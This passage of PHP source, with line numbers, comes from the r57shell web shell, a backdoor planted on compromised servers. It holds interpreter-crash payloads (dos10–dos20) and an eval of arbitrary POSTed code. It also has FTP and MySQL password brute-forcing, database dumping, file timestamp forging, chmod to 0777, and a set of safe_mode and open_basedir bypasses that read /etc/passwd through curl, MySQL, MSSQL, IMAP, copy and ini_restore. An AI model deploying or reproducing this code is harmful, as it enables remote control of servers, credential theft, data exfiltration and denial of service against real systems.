5580
5581break;
5582
5583case 'dos10':
5584
5585$a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0);
5586
5587break;
5588
5589case 'dos11':
5590
5591@array_fill(1,123456789,"Infigo-IS");
5592
5593break;
5594
5595case 'dos12':
5596
5597@substr_compare("A","A",12345678);
5598
5599break;
5600
5601case 'dos13':
5602
5603@unserialize("a:2147483649:{");
5604
5605break;
5606
5607case 'dos14':
5608
5609$Data = @str_ireplace("\n","<br>",$Data);
5610
5611break;
5612
5613case 'dos15':
5614
5615function toUTF($x) {return chr(($x >>6) +192) .chr(($x &63) +128);}
5616
5617$str1 = "";for($i=0;$i <64;$i++){$str1 .= toUTF(977);}
5618
5619@htmlentities($str1,ENT_NOQUOTES,"UTF-8");
5620
5621break;
5622
5623case 'dos16':
5624
5625$r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r,$e);
5626
5627for ($i=0;$i<1000;$i++) $arr[$i]=array(array(""));
5628
5629unset($arr[600]);@zip_entry_read($e,-1);unset($arr[601]);
5630
5631break;
5632
5633case 'dos17':
5634
5635$z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU";
5636
5637$y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD";
5638
5639$x = "AQ ";
5640
5641unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x);
5642
5643break;
5644
5645case 'dos18':
5646
5647$MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY,0600);
5648
5649if (!@msg_send ($msg_id,1,'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH',false,true,$msg_err))
5650
5651echo "Msg not sent because $msg_err\n";
5652
5653if (@msg_receive ($msg_id,1,$msg_type,0xffffffff,$_SESSION,false,0,$msg_error)) {
5654
5655echo "$msg\n";
5656
5657}else {echo "Received $msg_error fetching message\n";break;}
5658
5659@msg_remove_queue ($msg_id);
5660
5661break;
5662
5663case 'dos19':
5664
5665$url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd";@fopen($url,"r");
5666
5667break;
5668
5669case 'dos20':
5670
5671$hashtable = str_repeat("A",39);
5672
5673$hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08);
5674
5675$hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99);
5676
5677$str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}';
5678
5679for ($i=0;$i<65535;$i++) {$str .= 'i:0;R:2;';}
5680
5681$str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;';
5682
5683@unserialize($str);
5684
5685break;
5686
5687}
5688
5689if ($_POST['cmd']=="php_eval"){
5690
5691$eval = @str_replace("<?","",$_POST['php_eval']);
5692
5693$eval = @str_replace("?>","",$eval);
5694
5695@eval($eval);}
5696
5697if ($_POST['cmd']=="ftp_brute")
5698
5699{
5700
5701$suc = 0;
5702
5703if($_POST['brute_method']=='passwd'){
5704
5705foreach($users as $user)
5706
5707{
5708
5709$connection = @ftp_connect($ftp_server,$ftp_port,10);
5710
5711if(@ftp_login($connection,$user,$user)) {echo "[+] $user:$user - success\r\n";$suc++;}
5712
5713else if(isset($_POST['reverse'])) {if(@ftp_login($connection,$user,strrev($user))) {echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}}
5714
5715@ftp_close($connection);
5716
5717}
5718
5719}else if(($_POST['brute_method']=='dic') &&isset($_POST['ftp_login'])){
5720
5721foreach($users as $user)
5722
5723{
5724
5725$connection = @ftp_connect($ftp_server,$ftp_port,10);
5726
5727if(@ftp_login($connection,$_POST['ftp_login'],$user)) {echo "[+] ".$_POST['ftp_login'].":$user - success\r\n";$suc++;}
5728
5729@ftp_close($connection);
5730
5731}
5732
5733}
5734
5735echo "\r\n-------------------------------------\r\n";
5736
5737$count = count($users);
5738
5739if(isset($_POST['reverse']) &&($_POST['brute_method']=='passwd')) {$count *= 2;}
5740
5741echo $lang[$language.'_text97'].$count."\r\n";
5742
5743echo $lang[$language.'_text98'].$suc."\r\n";
5744
5745}
5746
5747if ($_POST['cmd']=="db_brute")
5748
5749{
5750
5751$suc = 0;
5752
5753if($_POST['brute_method']=='passwd'){
5754
5755foreach($users as $user)
5756
5757{
5758
5759$sql = new my_sql();
5760
5761$sql->db = $_POST['db'];
5762
5763$sql->host = $_POST['db_server'];
5764
5765$sql->port = $_POST['db_port'];
5766
5767$sql->user = $user;
5768
5769$sql->pass = $user;
5770
5771if($sql->connect()) {echo "[+] $user:$user - success\r\n";$suc++;}
5772
5773}
5774
5775if(isset($_POST['reverse']))
5776
5777{
5778
5779foreach($users as $user)
5780
5781{
5782
5783$sql = new my_sql();
5784
5785$sql->db = $_POST['db'];
5786
5787$sql->host = $_POST['db_server'];
5788
5789$sql->port = $_POST['db_port'];
5790
5791$sql->user = $user;
5792
5793$sql->pass = strrev($user);
5794
5795if($sql->connect()) {echo "[+] $user:".strrev($user)." - success\r\n";$suc++;}
5796
5797}
5798
5799}
5800
5801}else if(($_POST['brute_method']=='dic') &&isset($_POST['mysql_l'])){
5802
5803foreach($users as $user)
5804
5805{
5806
5807$sql = new my_sql();
5808
5809$sql->db = $_POST['db'];
5810
5811$sql->host = $_POST['db_server'];
5812
5813$sql->port = $_POST['db_port'];
5814
5815$sql->user = $_POST['mysql_l'];
5816
5817$sql->pass = $user;
5818
5819if($sql->connect()) {echo "[+] ".$_POST['mysql_l'].":$user - success\r\n";$suc++;}
5820
5821}
5822
5823}
5824
5825echo "\r\n-------------------------------------\r\n";
5826
5827$count = count($users);
5828
5829if(isset($_POST['reverse']) &&($_POST['brute_method']=='passwd')) {$count *= 2;}
5830
5831echo $lang[$language.'_text97'].$count."\r\n";
5832
5833echo $lang[$language.'_text98'].$suc."\r\n";
5834
5835}
5836
5837if ($_POST['cmd']=="mysql_dump")
5838
5839{
5840
5841if(isset($_POST['dif'])) {$fp = @fopen($_POST['dif_name'],"w");}
5842
5843$sql = new my_sql();
5844
5845$sql->db = $_POST['db'];
5846
5847$sql->host = $_POST['db_server'];
5848
5849$sql->port = $_POST['db_port'];
5850
5851$sql->user = $_POST['mysql_l'];
5852
5853$sql->pass = $_POST['mysql_p'];
5854
5855$sql->base = $_POST['mysql_db'];
5856
5857if(!$sql->connect()) {echo "[-] ERROR! Can't connect to SQL server";}
5858
5859else if(!$sql->select_db()) {echo "[-] ERROR! Can't select database";}
5860
5861else if(!$sql->dump($_POST['mysql_tbl'])) {echo "[-] ERROR! Can't create dump";}
5862
5863else {
5864
5865if(empty($_POST['dif'])) {foreach($sql->dump as $v) echo $v."\r\n";}
5866
5867else if($fp ||@function_exists('file_put_contents')){foreach($sql->dump as $v){@fwrite($fp,$v."\r\n") or @fputs($fp,$v."\r\n") or @file_put_contents($_POST['dif_name'],$v."\r\n");}}
5868
5869else {echo "[-] ERROR! Can't write in dump file";}
5870
5871}
5872
5873}
5874
5875echo "</textarea></div>";
5876
5877echo "</b>";
5878
5879echo "</td></tr></table>";
5880
5881echo "<table width=100% cellpadding=0 cellspacing=0>";
5882
5883function div_title($title,$id)
5884
5885{
5886
5887return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>';
5888
5889}
5890
5891function div($id)
5892
5893{
5894
5895if(isset($_COOKIE[$id]) &&($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">';
5896
5897$divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38');
5898
5899if(empty($_COOKIE[$id]) &&@in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">';
5900
5901return '<div id="'.$id.'">';
5902
5903}
5904
5905if(!$safe_mode){
5906
5907echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts;
5908
5909echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,''));
5910
5911echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
5912
5913echo $te.'</div>'.$table_end1.$fe;
5914
5915}
5916
5917else{
5918
5919echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts;
5920
5921echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
5922
5923echo $te.'</div>'.$table_end1.$fe;
5924
5925}
5926
5927echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts;
5928
5929echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
5930
5931echo $te.'</div>'.$table_end1.$fe;
5932
5933if($safe_mode ||$open_basedir){
5934
5935echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts;
5936
5937echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
5938
5939echo $te.'</div>'.$table_end1.$fe;
5940
5941}
5942
5943if($unix &&@function_exists('touch')){
5944
5945echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts;
5946
5947echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($dir."/r57shell.php")))
5948
5949.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>"
5950
5951.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):(""))));
5952
5953echo sr(15,"<b> or set Day".$arrow."</b>",
5954
5955'
5956
5957<select name="day" size="1">
5958
5959<option value="01">1</option>
5960
5961<option value="02">2</option>
5962
5963<option value="03">3</option>
5964
5965<option value="04">4</option>
5966
5967<option value="05">5</option>
5968
5969<option value="06">6</option>
5970
5971<option value="07">7</option>
5972
5973<option value="08">8</option>
5974
5975<option value="09">9</option>
5976
5977<option value="10">10</option>
5978
5979<option value="11">11</option>
5980
5981<option value="12">12</option>
5982
5983<option value="13">13</option>
5984
5985<option value="14">14</option>
5986
5987<option value="15">15</option>
5988
5989<option value="16">16</option>
5990
5991<option value="17">17</option>
5992
5993<option value="18">18</option>
5994
5995<option value="19">19</option>
5996
5997<option value="20">20</option>
5998
5999<option value="21">21</option>
6000
6001<option value="22">22</option>
6002
6003<option value="23">23</option>
6004
6005<option value="24">24</option>
6006
6007<option value="25">25</option>
6008
6009<option value="26">26</option>
6010
6011<option value="27">27</option>
6012
6013<option value="28">28</option>
6014
6015<option value="29">29</option>
6016
6017<option value="30">30</option>
6018
6019<option value="31">31</option>
6020
6021</select>'
6022
6023.ws(4)."<b>Month".$arrow."</b>"
6024
6025.'
6026
6027<select name="month" size="1">
6028
6029<option value="January">January</option>
6030
6031<option value="February">February</option>
6032
6033<option value="March">March</option>
6034
6035<option value="April">April</option>
6036
6037<option value="May">May</option>
6038
6039<option value="June">June</option>
6040
6041<option value="July">July</option>
6042
6043<option value="August">August</option>
6044
6045<option value="September">September</option>
6046
6047<option value="October">October</option>
6048
6049<option value="November">November</option>
6050
6051<option value="December">December</option>
6052
6053</select>'
6054
6055.ws(4)."<b>Year".$arrow."</b>"
6056
6057.'
6058
6059<select name="year" size="1">
6060
6061<option value="1998">1998</option>
6062
6063<option value="1999">1999</option>
6064
6065<option value="2000">2000</option>
6066
6067<option value="2001">2001</option>
6068
6069<option value="2002">2002</option>
6070
6071<option value="2003">2003</option>
6072
6073<option value="2004">2004</option>
6074
6075<option value="2005">2005</option>
6076
6077<option value="2006">2006</option>
6078
6079<option value="2006">2007</option>
6080
6081<option value="2006">2008</option>
6082
6083<option value="2006">2009</option>
6084
6085<option value="2006">2010</option>
6086
6087</select>'
6088
6089.ws(4)."<b>Hour".$arrow."</b>"
6090
6091.'
6092
6093<select name="chasi" size="1">
6094
6095<option value="01">01</option>
6096
6097<option value="02">02</option>
6098
6099<option value="03">03</option>
6100
6101<option value="04">04</option>
6102
6103<option value="05">05</option>
6104
6105<option value="06">06</option>
6106
6107<option value="07">07</option>
6108
6109<option value="08">08</option>
6110
6111<option value="09">09</option>
6112
6113<option value="10">10</option>
6114
6115<option value="11">11</option>
6116
6117<option value="12">12</option>
6118
6119<option value="13">13</option>
6120
6121<option value="14">14</option>
6122
6123<option value="15">15</option>
6124
6125<option value="16">16</option>
6126
6127<option value="17">17</option>
6128
6129<option value="18">18</option>
6130
6131<option value="19">19</option>
6132
6133<option value="20">20</option>
6134
6135<option value="21">21</option>
6136
6137<option value="22">22</option>
6138
6139<option value="23">23</option>
6140
6141<option value="24">24</option>
6142
6143</select>'
6144
6145.ws(4)."<b>Minute".$arrow."</b>"
6146
6147.'
6148
6149<select name="minutes" size="1">
6150
6151<option value="01">1</option>
6152
6153<option value="02">2</option>
6154
6155<option value="03">3</option>
6156
6157<option value="04">4</option>
6158
6159<option value="05">5</option>
6160
6161<option value="06">6</option>
6162
6163<option value="07">7</option>
6164
6165<option value="08">8</option>
6166
6167<option value="09">9</option>
6168
6169<option value="10">10</option>
6170
6171<option value="11">11</option>
6172
6173<option value="12">12</option>
6174
6175<option value="13">13</option>
6176
6177<option value="14">14</option>
6178
6179<option value="15">15</option>
6180
6181<option value="16">16</option>
6182
6183<option value="17">17</option>
6184
6185<option value="18">18</option>
6186
6187<option value="19">19</option>
6188
6189<option value="20">20</option>
6190
6191<option value="21">21</option>
6192
6193<option value="22">22</option>
6194
6195<option value="23">23</option>
6196
6197<option value="24">24</option>
6198
6199<option value="25">25</option>
6200
6201<option value="26">26</option>
6202
6203<option value="27">27</option>
6204
6205<option value="28">28</option>
6206
6207<option value="29">29</option>
6208
6209<option value="30">30</option>
6210
6211<option value="31">31</option>
6212
6213<option value="32">32</option>
6214
6215<option value="33">33</option>
6216
6217<option value="34">34</option>
6218
6219<option value="35">35</option>
6220
6221<option value="36">36</option>
6222
6223<option value="37">37</option>
6224
6225<option value="38">38</option>
6226
6227<option value="39">39</option>
6228
6229<option value="40">40</option>
6230
6231<option value="41">41</option>
6232
6233<option value="42">42</option>
6234
6235<option value="43">43</option>
6236
6237<option value="44">44</option>
6238
6239<option value="45">45</option>
6240
6241<option value="46">46</option>
6242
6243<option value="47">47</option>
6244
6245<option value="48">48</option>
6246
6247<option value="49">49</option>
6248
6249<option value="50">50</option>
6250
6251<option value="51">51</option>
6252
6253<option value="52">52</option>
6254
6255<option value="53">53</option>
6256
6257<option value="54">54</option>
6258
6259<option value="55">55</option>
6260
6261<option value="56">56</option>
6262
6263<option value="57">57</option>
6264
6265<option value="58">58</option>
6266
6267<option value="59">59</option>
6268
6269</select>'
6270
6271.ws(4)."<b>Second".$arrow."</b>"
6272
6273.'
6274
6275<select name="second" size="1">
6276
6277<option value="01">1</option>
6278
6279<option value="02">2</option>
6280
6281<option value="03">3</option>
6282
6283<option value="04">4</option>
6284
6285<option value="05">5</option>
6286
6287<option value="06">6</option>
6288
6289<option value="07">7</option>
6290
6291<option value="08">8</option>
6292
6293<option value="09">9</option>
6294
6295<option value="10">10</option>
6296
6297<option value="11">11</option>
6298
6299<option value="12">12</option>
6300
6301<option value="13">13</option>
6302
6303<option value="14">14</option>
6304
6305<option value="15">15</option>
6306
6307<option value="16">16</option>
6308
6309<option value="17">17</option>
6310
6311<option value="18">18</option>
6312
6313<option value="19">19</option>
6314
6315<option value="20">20</option>
6316
6317<option value="21">21</option>
6318
6319<option value="22">22</option>
6320
6321<option value="23">23</option>
6322
6323<option value="24">24</option>
6324
6325<option value="25">25</option>
6326
6327<option value="26">26</option>
6328
6329<option value="27">27</option>
6330
6331<option value="28">28</option>
6332
6333<option value="29">29</option>
6334
6335<option value="30">30</option>
6336
6337<option value="31">31</option>
6338
6339<option value="32">32</option>
6340
6341<option value="33">33</option>
6342
6343<option value="34">34</option>
6344
6345<option value="35">35</option>
6346
6347<option value="36">36</option>
6348
6349<option value="37">37</option>
6350
6351<option value="38">38</option>
6352
6353<option value="39">39</option>
6354
6355<option value="40">40</option>
6356
6357<option value="41">41</option>
6358
6359<option value="42">42</option>
6360
6361<option value="43">43</option>
6362
6363<option value="44">44</option>
6364
6365<option value="45">45</option>
6366
6367<option value="46">46</option>
6368
6369<option value="47">47</option>
6370
6371<option value="48">48</option>
6372
6373<option value="49">49</option>
6374
6375<option value="50">50</option>
6376
6377<option value="51">51</option>
6378
6379<option value="52">52</option>
6380
6381<option value="53">53</option>
6382
6383<option value="54">54</option>
6384
6385<option value="55">55</option>
6386
6387<option value="56">56</option>
6388
6389<option value="57">57</option>
6390
6391<option value="58">58</option>
6392
6393<option value="59">59</option>
6394
6395</select>'
6396
6397.in('hidden','cmd',0,'touch')
6398
6399.in('hidden','dir',0,$dir)
6400
6401.ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6402
6403echo $te.'</div>'.$table_end1.$fe;
6404
6405}
6406
6407$select='';
6408
6409if(@function_exists('chmod')){$select .= "<option value=mod>CHMOD</option>";}
6410
6411if(@function_exists('chown')){$select .= "<option value=own>CHOWN</option>";}
6412
6413if(@function_exists('chgrp')){$select .= "<option value=grp>CHGRP</option>";}
6414
6415if($unix &&$select){
6416
6417echo $fs.$table_up1.div_title($lang[$language.'_text67'],'id6').$table_up2.div('id6').$ts;
6418
6419echo @sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','param1',55,(($_POST['param1'])?($_POST['param1']):($dir."/r57shell.php"))).ws(2)."<b>".$lang[$language.'_text68'].$arrow."</b>"."<select name=what>".$select."</select>".ws(4).in('text','param2 title="'.$lang[$language.'_text71'].'"',10,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6420
6421echo $te.'</div>'.$table_end1.$fe;
6422
6423}
6424
6425if(!$safe_mode){
6426
6427$aliases2 = '';
6428
6429foreach ($aliases as $alias_name=>$alias_cmd)
6430
6431{
6432
6433$aliases2 .= "<option>$alias_name</option>";
6434
6435}
6436
6437echo $fs.$table_up1.div_title($lang[$language.'_text7'],'id7').$table_up2.div('id7').$ts;
6438
6439echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
6440
6441echo $te.'</div>'.$table_end1.$fe;
6442
6443}
6444
6445echo $fs.$table_up1.div_title($lang[$language.'_text54'],'id8').$table_up2.div('id8').$ts;
6446
6447echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
6448
6449echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
6450
6451echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
6452
6453echo $te.'</div>'.$table_end1.$fe;
6454
6455if(!$safe_mode &&$unix){
6456
6457echo $fs.$table_up1.div_title($lang[$language.'_text76'],'id9').$table_up2.div('id9').$ts;
6458
6459echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
6460
6461echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
6462
6463echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
6464
6465echo $te.'</div>'.$table_end1.$fe;
6466
6467}
6468
6469echo $fs.$table_up1.div_title($lang[$language.'_text32'],'id10').$table_up2.$font;
6470
6471echo "<div align=center>".div('id10')."<textarea name=php_eval cols=100 rows=10>";
6472
6473echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");\r\n//file_get_content(\"/etc/passwd\");"));
6474
6475echo "</textarea>";
6476
6477echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
6478
6479echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
6480
6481echo "</div></div></font>";
6482
6483echo $table_end1.$fe;
6484
6485if($safe_mode ||$open_basedir)
6486
6487{
6488
6489echo $fs.$table_up1.div_title($lang[$language.'_text34'],'id11').$table_up2.div('id11').$ts;
6490
6491echo "<table class=table1 width=100% align=center>";
6492
6493echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6494
6495echo $te.'</div>'.$table_end1.$fe;
6496
6497}
6498
6499if(($safe_mode ||$open_basedir) &&$curl_on &&@version_compare(@phpversion(),"5.2.0")<=0)
6500
6501{
6502
6503echo $fs.$table_up1.div_title($lang[$language.'_text33'],'id12').$table_up2.div('id12').$ts;
6504
6505echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6506
6507echo $te.'</div>'.$table_end1.$fe;
6508
6509}
6510
6511if(($safe_mode ||$open_basedir) &&$mysql_on)
6512
6513{
6514
6515echo $fs.$table_up1.div_title($lang[$language.'_text35'],'id13').$table_up2.div('id13').$ts;
6516
6517echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
6518
6519echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6520
6521echo $te.'</div>'.$table_end1.$fe;
6522
6523}
6524
6525if(($safe_mode ||$open_basedir) &&$mssql_on)
6526
6527{
6528
6529echo $fs.$table_up1.div_title($lang[$language.'_text85'],'id14').$table_up2.div('id14').$ts;
6530
6531echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
6532
6533echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6534
6535echo $te.'</div>'.$table_end1.$fe;
6536
6537}
6538
6539if(($safe_mode ||$open_basedir) &&$unix &&@function_exists('mb_send_mail') &&@version_compare(@phpversion(),"5.2.0")<=0){
6540
6541echo $fs.$table_up1.div_title($lang[$language.'_text112'],'id15').$table_up2.div('id15').$ts;
6542
6543echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6544
6545echo $te.'</div>'.$table_end1.$fe;
6546
6547}
6548
6549if(($safe_mode ||$open_basedir) &&@function_exists('imap_open') &&@function_exists('imap_list') &&@version_compare(@phpversion(),"5.2.0")<=0){
6550
6551echo $fs.$table_up1.div_title($lang[$language.'_text113'],'id20').$table_up2.div('id20').$ts;
6552
6553echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6554
6555echo $te.'</div>'.$table_end1.$fe;
6556
6557}
6558
6559if(($safe_mode ||$open_basedir) &&@function_exists('imap_open') &&@function_exists('imap_body') &&@version_compare(@phpversion(),"5.2.0")<=0){
6560
6561echo $fs.$table_up1.div_title($lang[$language.'_text114'],'id21').$table_up2.div('id21').$ts;
6562
6563echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6564
6565echo $te.'</div>'.$table_end1.$fe;
6566
6567}
6568
6569if(($safe_mode ||$open_basedir) &&@function_exists('copy') &&@version_compare(@phpversion(),"5.2.0")<=0)
6570
6571{
6572
6573echo $fs.$table_up1.div_title($lang[$language.'_text115'],'id22').$table_up2.div('id22').$ts;
6574
6575echo sr(15,"<b>".$lang[$language.'_text116'].$arrow."</b>",in('text','test8_file1',96,(!empty($_POST['test8_file1'])?($_POST['test8_file1']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test8'));
6576
6577echo sr(15,"<b>".$lang[$language.'_text117'].$arrow."</b>",in('text','test8_file2',96,(!empty($_POST['test8_file2'])?($_POST['test8_file2']):($dir))).ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6578
6579echo $te.'</div>'.$table_end1.$fe;
6580
6581}
6582
6583if(($safe_mode ||$open_basedir) &&@function_exists('ini_restore') &&@version_compare(@phpversion(),"5.2.0")<=0){
6584
6585echo $fs.$table_up1.div_title($lang[$language.'_text120'],'id23').$table_up2.div('id23').$ts;
6586
6587echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test9_file',96,(!empty($_POST['test9_file'])?($_POST['test9_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test9').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6588
6589echo $te.'</div>'.$table_end1.$fe;
6590
6591}
6592
6593if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.0.0")<0){
6594
6595echo $fs.$table_up1.div_title($lang[$language.'_text121'],'id24').$table_up2.div('id24').$ts;
6596
6597echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test10_file',96,(!empty($_POST['test10_file'])?($_POST['test10_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test10').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6598
6599echo $te.'</div>'.$table_end1.$fe;
6600
6601}
6602
6603if(($safe_mode ||$open_basedir) &&@function_exists('glob') &&@version_compare(@phpversion(),"5.2.2")<=0){
6604
6605echo $fs.$table_up1.div_title($lang[$language.'_text122'],'id19').$table_up2.div('id19').$ts;
6606
6607echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',96,(!empty($_POST['test18_file'])?($_POST['test18_file']):($dir))).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
6608
6609echo $te.'</div>'.$table_end1.$fe;
6610
6611}
6612
6613if(($safe_mode ||$open_basedir) &&@version_compare(@phpversion(),"5.2.2")<=0)
6614
6615{
6616
